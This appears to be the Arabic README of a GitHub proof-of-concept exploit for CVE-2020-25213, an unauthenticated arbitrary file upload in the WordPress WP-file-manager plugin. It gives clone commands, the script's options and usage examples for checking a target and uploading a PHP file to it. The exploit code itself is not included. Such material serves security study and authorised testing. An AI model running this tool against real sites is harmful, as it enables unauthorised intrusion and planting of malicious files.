
https://medium.com/@mansoorr/exploiting-cve-2020-25213-wp-file-manager-wordpress-plugin-6-9-3f79241f0cd8
إضافة WP-file-manager الخاصة بـ wordpress (الإصدارات <6.9) معرّضة لرفع ملفات عشوائي دون مصادقة، مما يؤدي إلى اختراق كامل للنظام.
لمزيد من التفاصيل، راجع مقالتي المنشورة هنا
لم أكتشف هذه الثغرة ولا أنسب لنفسي أي فضل في هذا الـ CVE. لقد أنشأت الاستغلال فقط بعد تحليل الوصف المتاح في مدونات متعددة مثل wordfence وseravo بهدف تمكين القراء من فهم كيفية إنشاء POC بمجرد تحليل وصف الثغرة.
لست مسؤولاً عن أي ضرر يلحق بمؤسسة نتيجة استخدام هذا الاستغلال، وأنصح القراء بعدم استغلال هذه الثغرة دون موافقة خطية من المؤسسة، لأن ذلك قد يعرّض المؤسسة لهجمات من قراصنة آخرين.
git clone https://github.com/mansoorr123/wp-file-manager-CVE-2020-25213.git
chmod +x wp-file-manager-CVE-2020-25213/wp-file-manager-exploit.sh
-u|--wp_url Wordpress target url
-f|--upload_file Absolute location of local file to upload on the target.
-k|--check Only checks whether the vulnerable endpoint exists & have particular fingerprint or not. No file is uploaded.
-v|--verbose Also prints curl command which is going to be executed
-h|--help Print Help menu
./wp-file-manager-exploit.sh --wp_url https://www.example.com/wordpress --check
./wp-file-manager-exploit.sh --wp_url https://wordpress.example.com/ -f /tmp/php_hello.php --verbose
